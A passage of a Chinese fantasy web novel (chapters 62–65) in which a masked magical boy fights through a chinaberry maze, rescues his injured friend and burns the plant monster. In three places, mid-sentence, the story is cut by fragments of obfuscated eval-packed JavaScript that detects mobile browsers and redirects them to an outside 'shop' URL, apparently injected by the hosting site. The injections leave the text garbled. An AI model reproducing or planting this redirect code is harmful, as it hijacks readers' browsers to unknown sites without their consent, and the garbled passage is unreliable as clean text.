不过没关系,一次不行就两次,两次不行就三次,反正他现在的体力还跟得上。 然而当他接住武器准备进“隧道”的时候,心口一窒,一种难以言喻的极致恐慌,像长满尖刺的荆棘一般,死命地缠住了他的心脏。 这种尖锐的疼痛只维持了那么一瞬,很快就结束了,就好像一切都是他的错觉一般,消散得干干净净。 然而心脏一向健康的罗乐安并不敢大意,他有种直觉,这种疼痛,是对自己的一种警示。 可是这个时候谁会给他这种警示呢? 他很快就得到了答案。 那种钻心蚀骨的疼痛刚结束,他的左手马上就感应到了不对劲。 是盾。 是他交给温朗,让对方保护自己的盾。 之前左手与盾之间的感应链接一直没有什么反应,但就在刚刚,他感应到盾牌正在遭受攻击。 也就是说,温朗有危险! 意识到这一点,他根本来不及多想,甚至都没发现盾受到攻击的反应已经消失,就径直朝着刚挖了一半的隧道冲去。 只是跟之前一样,罗乐安仅仅是走到洞口,刚踏进去半步,那股荆棘冲破心脏的剧痛就再次袭来,而他则因为疼痛,一个身体不稳直接跌倒在洞外。 这次的痛感比上次要更持久,与此同时,撑着身体的左手也在不住颤抖,却并不是因为心口的疼痛,而是在告诉他,左手柄的盾再度遭受攻击。 而随着痛意消散,那股受袭的感应也消失了。 这次的提示要明显得多。 罗乐安在地上喘着粗气,平复了好久,才感觉自己的手脚恢复了知觉。 但当他四肢不再软绵无力后,他却并没有第一时间站起来,反倒跪着向前挪了两步,缓慢地举起左手,接着慎重地向洞内探去。 不过手还没进入洞口,那种受袭的震感就又来了,心口也又开始泛起隐隐的刺痛。 他的手停在半空,僵持了大概三秒,而后没再继续前进,而是将手收回。 手落下的瞬间,震感和刺痛双双消失。 结果很明显了。 可以砍树,可以破坏,就是不能抄近路,一旦有了这个念头,甚至不用等他真的付诸行动,谵蘖就会攻击温朗。 而心口的疼痛,大概就是温朗给自己的警示吧。 他俩毕竟有这么多年的感情,有这种心灵感应也是合理的。 况且就算他猜错了,盾牌遭到攻击的感应是做不了假的——最少也有99%的可能性确定是真的。 至于那1%被谵蘖愚弄的可能性…… 他哪里敢赌。 罗乐安冷着脸从地上站了起来,轻轻拍了拍斗篷和衣摆上的尘土,转身朝着迷宫另一侧走去。 经此一遭,谵蘖的目的显露无疑,就是要让他乖乖“走”迷宫,甚至还用温朗的安危来威胁他,真的是非常卑鄙了,气得他一路都在磨牙! 只是气归气,肚子里还有太多的疑惑没有答案,亟待他的思考。 比如其中违和感最强的部分——谵蘖,和卑鄙。 谁能想到这两个词,有朝一日竟然能被放到一块儿呢? 他之前一直觉得谵蘖只是发生了变异的植物,基于自身原本的特性发展出了十分危险的攻击性,可植物就是植物,就算有简单的情绪,但是不应该有脑子啊! 然而如今这种利用弱点要挟的卑鄙行径,怎么也不可能是只靠本能就发动的了的。 但如果真的是有意如此…… 天啊,太荒谬了! 不仅荒谬,而且可怕。 因此完全忘记“自己一家都是魔法使”这种更加荒谬事实的罗乐安,不受控地打了个哆嗦后,强制让自己先不去想这个问题。 “集中当下,对,集中当下。” 罗乐安这只“鸵鸟”晃了晃脑袋,试图把不祥的感觉甩出脑袋,并马上续上了新的问题。 虽然谵蘖从喷射果实到挟持人质,目的都是让他按部就班走迷宫,可这都只是表象,对方搞这卑鄙的一出到底是为了什么,到现在他还是不得而知。 之前他还能盲目乐观,既来之则安之,只是现在涉及到温朗的安全,他实在是没办法再继续保持这种好心态了。 他开始烦躁,开始不安。 一开始他还能控制自己将情绪压下,不过当他在连续三次选择岔路、结果连续三次拐进死胡同后,这种躁动的情绪达到了顶峰,彻底突破了他理智的压制。 “啊啊啊啊——气死我了! “为什么总是选错路啊! “真是倒霉透顶了!!! “烦死了!烦死了!!!烦死了!!!!!” 情绪完全爆发的罗乐安崩溃大喊,眼睛开始充血,行动上似乎也渐渐失控,举着剑疯狂地砍划着面前的树墙。 然而奇怪的是,如此密集又强力的攻击,并没有在苦楝树上留下什么伤痕,甚至连印记都没有。 与此同时,整座迷宫的树木,在一瞬间集体变得粗壮了一圈。 可惜这些情况,整个人都在状况外的罗乐安完全没注意到,他之前紧紧绷着的神经,此时已经快要断掉了。 而就在情绪爆发到顶点、即将崩坏的时候,一股热流顺着左手迅速攀升,最后盘亘在心口,像是温泉一样将他的心脏柔柔裹住。 又像是,被人拥抱了一下似的。 温……朗。 当这个名字出现在罗乐安的脑海里时,他瞬间就冷静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649808|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了下来。 挥剑的手臂落了下来,他垂着脑袋站在原地,直到呼吸恢复平缓,才重新抬起头,并伸手抹掉了脸颊上还未完全干透的泪痕。 竟然还要身处危险的人安慰和帮助,自己还真是没用啊。 在心里苦笑着吐槽完自己,他看了眼毫发无损的树墙,冷冷地转身,一言不发。 既然这条路走不通,那就换条路。 罗乐安像是什么都没发生过一样,继续自己的迷宫探索,只是和之前相比,他的烦躁减轻了许多,取而代之的是前所未有的冷静。 他也意识到了这里的不对劲,可是暂无对策,只能强迫自己尽可能地不去在意,保持沉着镇定。 但是胸口那团火,不是光靠无视就能熄灭的。 好不容易顺了两个路口,罗乐安的心情刚有所好转,就又一次遭遇了“三连跪”,明明已经在努力压抑了,深藏的情绪却还是翻了上来。 不过这次他没有正式爆发。 就在他喘着粗气,浑身因为隐忍而发抖,又准备拔剑发泄的时候,那股暖流再次在左手涌现,慢慢滋养着如岩浆一般沸腾的思绪。 直到重新恢复平和,他再次转身,另寻他路。 如此这番,又循环往复了整整三遍。 而经历了太多次情绪的大起大伏,罗乐安的体力已经渐渐有些透支了,脑海里唯一还绷得住的,只有左手柄的盾。 他甚至早在第二次接受到温朗的安抚后,就暗中操控盾牌改变形态,变成球形的屏障,这样360°无死角地将人保护起来。 这无疑也加剧了他的消耗。 只是这也不全是坏事。 随着情绪的起落越来越小,他无需再去费劲压制,脑袋反倒是越来越清醒,也趁机想明白了一些事。 比如,他大概摸清楚了谵蘖让他身陷迷宫的目的,应该就是想要刺激自己出现各种负面情绪,像是愤怒、沮丧、失意等等。 而这种情绪,似乎是可以滋养组成迷宫的苦楝树。 所以,他在迷宫里,才会像无头苍蝇一样,一直在撞墙——就算偶尔有所突破,那也只是为了更好激发他负面情绪所进行的小把戏而已。 一切的顺境都是干扰项,谵蘖是不会给他突破的机会。 因为主场在对方那里,就算自己走到了对的路,谵蘖也可以调动苦楝树,形成新的树墙,堵住生门。 总而言之,如果再继续按照谵蘖写好的剧本演下去,最后的结局只能是他耗死在迷宫里。 认清这一点后,罗乐安直接盘腿坐下,一边休息,一边思考对策。 事实上,他已经想到了一个方法,只是…… 看着空空如也的左手,他表情有些凝重。 要是谵蘖真的有洞悉一切、包括自己想法的能力,那很可能在他开始实行计划的一瞬间,自己和温朗就会遭受到谵蘖的攻击。 他倒是没什么,就算没有盾,他也有灵活闪避的能力,可是温朗那边——要是盾的耐久耗尽该怎么办呢? 罗乐安纠结了好久,纠结到情绪又有些焦躁。 只是到最后,他还是因为不敢赌温朗那边的情况,决定放弃这个计划,再想新的办法。 不过他很清楚一件事,大概是没有比原计划更好的办法了。 然而就在他起身,准备再继续一轮循环的时候,代表温朗的那股暖流,再一次从左手涌上他的心头。 63. CHINABERRY⑦ 随暖流一同而来的,还有一个声音。 不,确切说并不是声音,而是几个消息,进入罗乐安的身体后,就盘亘在他的脑海中不断回放。 【放开去做。】 【我没问题。】 【我相信你。】 这些消息来自谁,不言而喻。 尽管这只是直接传达到罗乐安脑袋里的无声信息,他却自动配上了温朗的声音。 而对方那种沉稳自信又温柔的声音,天然带着一种可以安抚情绪的安全感。 心头的焦躁逐渐被平息,罗乐安在心里反复咀嚼着这十二个字。 最后让他下定决心行动的,并不是对方的“我没问题”,而是他的“我相信你”。 既然温朗选择相信他,那自己也要努力回馈给对方同样的信任才行。 毕竟,什么都不做是破不了局的。 所谓的“另寻他法”,本质上只是一种逃避和自我安慰,想要真正突破困境,还是只能去拼一把。 “我也要……相信我自己。” 要相信自己可以躲开谵蘖的攻击,也要相信自己,可以在盾牌消失前,找到温朗。 给自己打完气,罗乐安眼睛里的神采便已恢复了大半,昂首挺胸,又是那个斗气昂扬的L-RAether了。 真是的,他可是超——级!无——敌!厉——害的魔法使诶!!! 哪有放着魔法不用,全靠身体硬抗的道理呢? 即便体力条已经消耗大半,可是他的精神却前所未有的好,要不是时间地点不合时宜,他甚至都想高歌几句。 不对不对,现在不是想这些的时候! 摇了摇头,将脑子里奇怪的想法甩出去后,他左手握拳置于胸口,深吸一口气,闭上眼睛,开始调动体内的魔力,去寻找左手柄的位置。 是的,这就是罗乐安的计划。 他有90%的把握,确认温朗和谵蘖的本体在一起。 事实上,就算最后的结果是那不幸的10%,也没关系。 因为无论等着他的是哪一方,归根结底,都能提升温朗的安全值。 所以,这是现阶段他能想到的,最完美的办法。 左手柄的“搜寻”工作进展得很顺利,罗乐安很快就在脑海内感应到其位置,刚好位于自己的正前方,距离他也并不算远。 那么现在仅剩的、同时也是最大的问题,就是如何穿过迷宫到达那里了。 找寻正确的路不仅费时,而且一定会遭到谵蘖的阻拦,是下下策。 但是如果像之前一样,破坏迷宫走捷径,温朗那边肯定又会额外遭受到攻击,显然这也不是上策。 而就在罗乐安即将再一次陷入纠结的时候,一直盘踞在他心口的那团暖意突然跳了跳,紧接着,他的脑海里就突然出现了一张地图。 正是标注了正确路线的迷宫地图。 太好了! 尽管只是局部的,却也足够用了。 那么,他接下来要做的,就是跟谵蘖拼速度了! * 淡蓝色的球形光盾正在遭受苦楝树的果实攻击,而温朗已经记不清这是第几波袭击了。 之前的变故来得实在是猝不及防,他根本来不及反应,就和L-RAether分开了。 然后刚一接到对方扔过来的手柄,自己就昏过去了,记忆也就此中断。 等醒来的时候,他只发现自己躺在地上,手里还牢牢握着那支游戏手柄,整个人被淡蓝色的光盾笼罩着,周围则是围了一圈苦楝树。 说“一圈”倒也不算准确,因为有一个方向是开了口子的,所以这里更像是一个口袋。 “口袋”的开口处狭窄,外侧连通着一条又长又暗的甬道,不知通往何处。 而与之相对的“袋底”的地方,则生长着一棵……可以用“鹤立鸡群”来形容的的苦楝树。 树干粗壮,树冠庞大,目测高度已经超过了20米,在一众不过一人怀抱粗细的树群中本就显眼。 然而它的突兀不止于此,更诡异的,是其叶果同枝的景象。 这完全超出了自然规律的管辖。 但无所谓,反正这也不在他的管辖范围内。 当务之急不是搞科研,而是——逃! 甭管外面有什么,甭管是比这里安全或是危险,都得去看一看再说。 作为一个行动派,温朗跳过了犹豫和纠结的环节,选择直接干。 他握紧手柄,深吸一口气后,径直朝着唯一的出口冲去。 可惜他的速度不够快,最后还是失败了。 就在他动起来的那一瞬间,出口便被突然伸展的树枝牢牢封住,与此同时,身后那棵诡异大树上的果实也纷纷朝着他发射过来。 好在除了他一开始没反应过来,右侧小腿被击中了两次之外,其余的“子弹”都被他用光盾牢牢地挡在外面,再没有受到其他伤害。 不过…… 看着从小腿两处贯穿伤流出的红色血液,温朗原本还算镇定的表情,终于还是被一丝慌乱划开了裂痕。 这不是游戏,也不是拍戏,是真真正正的生死存亡。 幸好在确认他不再有逃跑意图——或者说发现攻击会被盾完全挡住——后,苦楝树就停止了攻击,也给了他处理伤口的机会。 而在用校服外套将两处伤口简单包扎止血后,他不再妄动,只是安静坐在“口袋”的正中央。 但是他的大脑还在飞速运转,努力从刚刚的经历中分析有效信息。 显而易见,那棵诡异的苦楝树就是怪物本尊,其他的那些树大概就是它搞出来的。 只是这个怪物之前的举动,到底是什么意思呢? 除了刚刚他想要逃跑的时候发动了攻击,其他时间它并未表现出什么攻击性,似乎只是……想要将自己扣在这里。 这就像是—— 绑架。 人质。 守株待兔。 瓮中捉鳖。 几个关键词快速跃进温朗的脑中,他仅用三秒就盘清楚了大概。 说到底,对方的目标,估计还是那个L-RAether。 那个疑似罗乐安的魔法使。 得出这个结论后,温朗陷入到了一种名为“悔不当初”的心情里,从口到心皆是苦涩。 之前上头的时候,他死皮赖脸地要留下来,还大言不惭说自己可以帮上忙,结果现在—— 看了一眼还在隐隐作痛的右小腿,他只恨自己的冲动。 不仅拿走了人家的盾,现在还彻底成为了累赘。 懊恼逐渐取代后悔,成为支配他内心的主要情绪。 翻涌的情绪让他不自觉握紧了手里的游戏手柄,眉头紧锁,难得出现了意志消沉的状态。 温朗呆坐在地上良久,期间又遭受了两次攻击,好在有光盾防护,他并没有受伤。 虽然还并不清楚这两次受袭的原因,但他大概可以猜到,应该是跟那个魔法使有关。 而当这个猜测在他心里出现后,他的心情又一次发生了转变。 负面情绪逐渐退场,沉着冷静的判断力重新占领了大脑高地。 没错,懊恼也好,悔恨也好,此刻都解决不了任何问题。 他现在能做的,就是要想办法尽可能不拖后腿,或者说,如何能在之后可能出现的冲突中,更好地保护自己。 当然了,他更希望的,其实还是自己能够帮上忙。 只是现在的他,连外面什么情况都不清楚。 如果能知道L-RAether现在的处境就好了,说不定他就能因此而帮上什么忙。 好在,念念不忘,必有回响。 就在他如此期盼的时候,他感觉到一直握在手里的游戏手柄突然发烫,继而,一股陌生的情绪突然就涌入了他的内心。 沮丧。 烦闷。 愤怒。 和自己刚刚的情绪经历有些相像,但是更加激烈。 难道,他这是……接收到了L-RAether的心情了吗? 不过为什么呢? 不对! 现在不是考虑原因的时候!! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662931|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >重点还是要放在此刻正在进行时的事情上!!! 倘若这个情绪的确是对方的,那一定是对方当下遭遇到了困难。 这个困难——会不会是因为自己? 会不会是因为他被怪物扣在这里,L-RAether才会为此束手束脚? 那么,要是能告诉对方自己现在暂时安全,情况会变好吗? 就算不会变好,可不管怎么说这也是好消息,是不是能让对方的心情好一些呢? 如果真的可以把这个信息传达给手柄的主人,那就太好了。 温朗如此希望着。 强烈的信念会产生力量。 伴随着他内心不断地祈祷,手柄倏地闪了闪,紧接着,他就感觉心里面的那股情绪终于不再是狂躁的,而是慢慢恢复了平和。 太好了! 真的帮上忙了! 他胸口压着的愧疚终于减轻了一些,绷直的嘴角也总算放松了下来。 在这之后,温朗一直通过手柄感应着L-RAether的状态,也跟着一起经历了情绪的起起伏伏。 而在这么多轮过后,他慢慢感觉到不对劲了,刚舒展没多久的眉头再次拧起。 套路虽然好用,却也是把双刃剑——特别是在使用太多次之后,很容易暴露使用者的目的。 没错,和罗乐安一样,温朗也察觉到了其中的蹊跷。 尽管他不清楚这怪物具体做了什么,可从结果来倒推,似乎是刻意制造“逆境——顺境”的循环情境,以此激发那个魔法使的负面情绪。 也不知道L-RAether有没有察觉到这一点。 只是不管答案是什么,现在可以预见的结果很确定,那就是之前的努力应该都做了白工。 但是,如果这个怪物的目的只是想要遛着人玩,为什么还要特意留出这样一个等人“落网”的口子呢? 这不是自相矛盾了吗? 不不不,不要过多发散思维去想这些了。 还是要先集中精力,解决当下最棘手的情况。 总之,如果不改变策略,他们两个很可能会一直被困在这里。 自己一定还能再做点什么,只是话说回来,L-RAether在外面到底遭遇了什么呢? 迟迟不来,是受到攻击了吗? 还是找不到他,迷路了? 可是—— 温朗转头看向树牢唯一的出入口和甬道,实在是不明白这种情况要怎么迷路,毕竟学校就那么大,就算用脚丈量每一寸土地时间也足够了。 不过他只是暂时性的脑袋短路,很快就反应了过来。 他只能窥见短短一段路,甬道的尽头是什么样子的自己并不知道,很可能,是个迷宫。 倘若真是这样,情况的确很棘手,毕竟这个迷宫连地图都没有。 而就在他无比担心的时候,手里的手柄再次发热,并且这次的温度比之前还要高,就算他的手已经有些冻僵了,还是有被这灼热烫到的感觉。 这是……又有新情况了吗? 这个疑惑刚浮现,就被突然塞进脑海里的新的情绪给压了下去。 纠结。 犹豫。 左右为难。 虽然这次手柄传来的心情依然不是很美丽,却比之前要更富生气。 难道说L-RAether是想到办法了吗? 但是会这么的踌躇与挣扎,是因为……他吗? 因为担心自己的安全,所以就算有办法突破迷宫,也不敢施行。 可恶! 自己到底还是成了拖累! 温朗在心里狠狠骂了自己一句,可是他的脑袋并没有沉溺在懊恼之中,他还没有放弃努力。 如果之前他的心意能够传达给对方,那么现在也一定可以! “放心去做……我没问题……我,相信你……” 他垂下眼睛,握着手柄,嘴巴里不住地重复着这些话。 与此同时,那棵怪物苦楝树上的果实,枪林弹雨一般,狠狠地射向了一直保护着温朗的蓝色光盾。 64. CHINABERRY⑧ 罗乐安矮身躲过斜刺里抽来的枝叶,又极速闪避开苦楝果实的攻击,整个人不敢有丝毫停顿,如同离弦之箭一般,以远超历史最好成绩的超高速,沿着脑海里给出的那条正微微闪烁的路径,向前全速狂奔。 两侧的树墙再一次发出令人牙酸的嘎吱声,脚下的地面此刻也传来了微微的震颤,这些无一不在预示着迷宫下一轮剧变即将到来。 他咬紧牙关,耳边只有心脏擂鼓的“咚咚”声,无论是身体还是精神都丝毫不敢松懈,脑海里只剩下一个无比强烈的念头—— 在迷宫彻底改变格局前,到达左手柄的所在地,和等在那里的温朗会和。 幸好,他足够拼命,除了一开始的时候速度还没起来,有一个路口被堵死,其余时间他的速度一直是比谵蘖快的。 加上路口被堵后,脑袋里的指引当即就做出了调整,选了拐弯更多但路径更短的方案,所以最后他还是成功在“袋口”被谵蘖封住前,从枝丫中的间隙跳进了“口袋”里。 脚刚落地,甫一抬头,入目的就是一出世界名曲(具象化)(性转版)——“少男的祈祷”。 就见温朗跪在地上,闭着眼睛双手合十,十指交叉紧紧握着手柄,嘴里还念念有词。 十分之虔诚。 同时,也蛮……有冲击力的。 因为这还是罗乐安还是第一次,在温朗身上瞧见“纯洁”这个标签。 不得不说这实在是太过于匪夷所思,以至于他不分场合走神的老毛病又犯了,完全忘记干正事,眼里心里,只有自己那个OOC的竹马。 不过他虽然忘了谵蘖,谵蘖却没忘了他。 果实的攻击还没结束,而温朗身上的球形光盾,也在此时发出了耐久度即将归零的闪动信号。 这让罗乐安瞬间就清醒了过来。 “小心!” 一边大声提醒,他一边朝着对方扑了过去,成功在光盾消失的瞬间,搂着温朗的腰将人飞速转移到了攻击范围外的空地上。 紧接着,将斗篷罩在了对方身上,同时夺过左手柄,拉弓,射箭,一气呵成。 发射子弹进行时的谵蘖,被冰冻箭定格在了树冠摇曳的刹那。 而随着空中的“子弹”一一落地,整个空间瞬间静了下来,只听得见一轻一重两个呼吸声。 重的那个,自然是刚跟谵蘖赛跑并取胜的罗乐安。 事实上,作为一个魔法少男,这种程度的运动虽然有点挑战极限,但挑战的是速度不是体力,因此根本不至于让他喘得这么厉害。 真正让他如此的原因,主要还是因为确认了温朗的安全,从而如释重负,身体需要摄入更多氧气来平衡内心的激动。 相比之下,另一个人就镇定多了。 不仅呼吸的起伏、声响都没什么变化,连表情都很正常,除了微微瞪大的眼睛,根本找不出什么表达“惊喜”的反应。 只有当事人自己知道,在听到L-RAether出声的那一瞬间,他绷了那么久的神经一下子就松劲儿了,导致身体木木的、沉沉的,同时还有些不受控制,藏在外套袖子里的手,一直在小幅度地抖动着。 不过罗乐安作为一个粗枝大叶惯了的人,可以说是完全没注意到这点。 对于温朗如此镇定的表现,他只是非常单纯地认为对方——厉害。 不愧是湖灵高中的传奇,果真是可以做到“泰山崩于前而色不变”。 罗乐安心中佩服的同时,突如其来的好胜心也被激发了出来。 尽管没啥逻辑,但事实就是这么个情况。 总之,他心底的胜负欲就这么升起来了。 于是为了不被比下去,罗乐安觉得自己也要换一个成熟镇定的皮肤,再怎么样输人不输阵。 所以他决定先从放轻呼吸开始调整状态,试图把已经从肺部返到口腔的二氧化碳再原路送回去。 然后。 “嗝——!!!” 一道霹雳巨嗝,横空出世。 在万籁俱静之中,犹如原子弹炸出了无形的蘑菇云一般,惊天地,泣鬼神。 一瞬间,尴尬笼罩住了整个迷宫。 罗乐安甚至开始后悔,他刚刚就不应该把谵蘖冻住,这样至少还有“嘟嘟嘟”和“唰唰唰”的伴奏声作为掩护,自己也就不至于这么骑虎难下了。 他现在急需一个台阶。 “你……没事吧?” 温朗小心翼翼的声音响起,打破了这刺骨的寂静。 “当——颜没似!!!!!” 虽然这不是最合适的台阶,但罗乐安还是决定“硬下”,一个从0到200的干拔,直接把温朗给震懵了。 事实上,嘴瓢加破音的效果,把他自己都吓得一哆嗦。 眼看尴尬的寂静氛围又弥漫开来,准备将他们两个再次笼罩,他连忙又拿出气势,只是这次为了表达的效果更好,只从0拔到了100。 “我没事!你也没事吧?有事也没关系,咳——我是说,看我把谵蘖……就就就这个怪物快速解决,马上就能带你出去!” 豪言壮语刚一吼完,罗乐安没有一秒钟的迟疑,右脚径直向下猛地一蹬,然后在空中召唤出那把超重超长的剑,朝着还在冻结状态的谵蘖狠狠劈去。 好消息:因为砍中了真的谵蘖,丧丧终于有能量可以吸收了。 坏消息:这一剑力度太大,导致空中四散的不止有红雾,还有点其他副产品。 比如苦楝树的果实。 “嗷——” “唉哟……唉唉唉唉唉哟……” “嗷嗷嗷嗷嗷——” “痛痛痛痛痛!” “怎么还没完没了了呢!!!!!” 红雾挡住了温朗的视线,他不清楚L-RAether那边的具体情况,只能听到对方……不咋体面的吱哇乱叫。 不过尽管声音的内容有些狼狈,质感倒是,蛮健康的,很有活力,应该没什么危险。 可他到底还是有些不放心,毕竟什么都看不到,多少还是会让人感觉不安。 好在实际的情况跟他猜测的差不多,红雾很快消失,露出了还在各种蹦跶闪避、整个人都快跑出残影“影分身”的魔法使。 对方裸露在外的手臂和腿部上的伤痕,似乎是要比刚刚碰面的时候又多了一些,但都是擦伤,不算什么大事。 唯一有些严重的部位,在脸上。 眼眶周围的面具坏掉了,右半边掉在了地上,这让魔法使的右脸可以完整地露出。 而且刚刚好,这半边还正对着温朗。 然而还没等他看清,看清那张面具下面的脸到底是不是罗乐安,一阵寒风突然略过,好巧不巧地撩起了对方的长发。 然后,当风停下,发丝重新落下的时候,对方脸上的面具又重新变得完整了。 是了。 魔法使怎么会只有一副面具呢? 他默默叹了口气,心里涌起了一些很难掰扯清楚的情绪。 也不知道是遗憾,还是庆幸。 当然,作为一个一向沉稳又专注的人,温朗的走神只有短短一瞬间,飞快就结束了恍惚。 而这个时候,彻底解除了冰冻束缚的怪物像是被激怒了一般开始暴走,疯狂地甩动着枝叶,想把上面的果实子弹全都招呼到那个该死的魔法使身上。 眼瞧着L-RAether再次召唤出弓箭,准备又像之前一样将谵蘖冻住,温朗连忙出声,试图让对方“撤回”这个攻击前摇。 “别用冰!用火攻!” 为了加强自己这个建议的可信度,他完全没有卖关子,纯卖嘴。 “苦楝树的种子富含油脂可以制作油漆润滑油或者香皂用火攻最合适关键是这些‘燃料’实在是太多了一定可以引起一场大火然后彻底把它们消灭咳咳咳……” 后面几个字被缺氧引发的咳嗽给盖住了,却并不影响罗乐安的理解,他当即把右手的冰箭换成火箭,对准谵蘖果断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16669875|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发射。 箭矢如黑夜中的流火一般,飞向了枝叶茂密的树冠,圣洁的火光瞬间就将树冠织就的黑暗帷幕撕破。 烈焰沿着每一颗果实蔓延,从树梢燃至树干,火光所及之处,翻滚的不是浓烟,而是漫天红雾。 金的火与红的雾,交织如练,凝固喧嚣,化为叹息。 跳动的火苗将地上散落的果实全部点燃,很快就将身在其中的人包围了起来。 不过这些火焰只烧谵蘖,就算碰到了里面两个人,也没有为其增添一丝伤痕,可以说是非常懂事了。 作为这一现象的发现者,罗乐安本人其实还蛮惊讶的,因为以往使用火焰箭都是远距离,还从来没近距离接触过,见这些小火苗如此乖巧,他甚至都很想跟其互动一下。 只是温朗还在旁边看着,他还记得自己想要打造的成熟稳重强大的人设,必然是不能做出这种幼稚的举动,只得忍住胸中快要喷涌而出的赞叹,继续假正经。 而且胸前手柄胸针,也已经开始闪烁净化的银色光芒了,还是抓紧时间干正事才对。 “L-R同步!净化领域,启动!” 合并起来的手柄放射出圣洁的银色光束,将整棵苦楝树,以及满地还残存的果实种子全都笼罩其中。 谵蘖也试图做垂死挣扎,树冠的甩动幅度明显加剧,在它的动作下,才刚在枝头生出的苦楝果实铺天盖地朝着罗乐安砸落下来,似乎是想要终止他的净化。 奈何刚刚放的那把火还没熄灭呢。 这种行为,只可以用四个字来形容——抱薪救火。 简直是嫌自己死得不够快。 最终,银辉加上火焰,把谵蘖锤得死的不能再死了。 “呼……” 看着谵蘖消失后空出的大片空地,罗乐安压抑了许久的心情,终于重新变得明媚了起来。 “地方宽敞了,感觉呼吸都畅快了不少,对吧~” 尽管他背对着温朗,可话却还是对着人家说的。 要的就是这种救世主的洒脱与超然的范儿。 然而分享完爽朗的心情,他足足等了一分钟,都没等来对方的回应。 诶? 他刚刚的话,有哪里不对吗? 没有吧! 就算有——应该不至于连捧场都得不到吧! 这让他很尴尬的啊喂! 罗乐安整个人气呼呼的,下意识就鼓起了腮帮子,头顶的呆毛都隐隐要炸开了,一心只想要跟对方讨要心怀感恩的道谢。 结果…… 刚一转身,他脸上的表情就僵住了。 “温朗?温朗——温朗!!!” 就见在远处的那人,原本还是坐着的,不知什么时候竟然变成了躺倒在地的姿势。 而且他刚刚叫的那么大声,却连一声回应都没有,情况,大概率是不太妙。 想到这点,罗乐安顿时也顾不上心里的恐慌,迈着僵硬的步伐,连忙跑到了温朗身边。 “温朗!你醒醒!温朗!!!” 他将人上半身扶起,靠在自己怀里,用手轻轻地拍了拍温朗的脸,惊觉对方脸颊通红,俨然是发了高烧。 “阿朗!” 情急之下,罗乐安脱口而出了一贯的称呼,而且他自己完全没注意到这点。 幸亏这个时候对方根本听不见。 “怎么……怎么会发烧呢?”他脸色苍白,心焦地自语着,“难道是吹风冻到了?” 一边说,他一边伸手摸索,终于发现了温朗腿上又开始渗血的伤口。 “该死!我之前竟然都没注意到阿朗受伤了……还出了这么多血,怎么办……怎么办?” 慌乱中的罗乐安只觉得大脑一片空白,最后打了自己一巴掌后,终于冷静了下来。 “去医院,对,医院!” 他将人背起,当即就准备奔赴医院。 然而当他抬起头后,却再次愣住了。 迷宫,还在。 65. CHINABERRY⑨ “迷宫……迷宫怎么会没有消失呢?我不是已经把谵蘖消灭了吗?” 瞧着周围依旧高大的苦楝树墙,战斗了这么久的罗乐安,第一次出现茫然无措的状态。 他愣了好一会儿才回神,连忙第一时间连线“场外求助”。 “丧丧!丧丧!!!” 因为太过慌张,他的动作幅度都不受控制地变大了,而这也让背上昏迷的温朗发出了一声不太舒服的闷哼。 听到动静后,罗乐安赶紧把人重新放回到地上,接着他向旁边迈了一步,开始拼命捶胸前的手柄,试图用物理手段实现连线。 “丧丧!丧丧你给我别装死!这到底怎么回事啊,快说!再不吭声小心我真给你打成‘404’!!!” 「……嗝!」 刚刚吸收了太多能量的魔法使精灵明显“吃撑”了,一开口,就是熟悉的坑货模样。 而这突兀的一声嗝,虽然(当然)没有安抚到罗乐安的情绪,却也很神奇的压制住了他的生气。 主要还是由于他实在是太过无语,情绪由急被迫骤然转缓,他整个人反倒是冷静了不少。 “你个废物……我就知道指望不上你……” 他深吸一口气,准备靠自己。 其实迷宫还在的原因,很简单,有且只有一个,那就是谵蘖还在。 “可是……我刚刚明明已经把它消灭了啊,净化也的确完成了,不然……那个废物也不至于会撑成这么个熊样儿——而且,如果它还在,会在哪里呢?难道又要走迷宫了吗?” 一边自语着,他一边抬头看向原本生长着谵蘖的地方。 那里已经是一片空地,而树墙上,则是多了一个之前不曾有过的缺口。 罗乐安转过头看向进来时的入口,就发现那里不知何时已经被一层又一层的树枝封上了。 这种直给的提示,其背后的险恶用心可以说是昭然若揭了。 奈何他天生反骨! 右臂一扬,飞旋镖就出现在了罗乐安手中。 紧接着他手一挥,飞旋镖便朝着被封上的入口直直飞了过去。 那些枝条倒是很顺利地被尽数砍断,只是果实的攻击也同步到来。 好在他心里早有准备,武器扔出去的瞬间,他就已经跳回到了温朗身边,并将结束CD的光盾及时张开,所有攻击都被牢牢地挡在外面。 只是罗乐安并没有因此而松一口气,脸上的表情反而更凝重了。 眼瞧着温朗的脸越来越红,越来越烫,表情也是愈发痛苦,他心里的烦躁与不安都变得更强烈。 然而他不可以放弃。 现在没有丧丧和温朗可以依靠,他只能靠自己。 他深吸了一口气,强迫自己冷静下来。 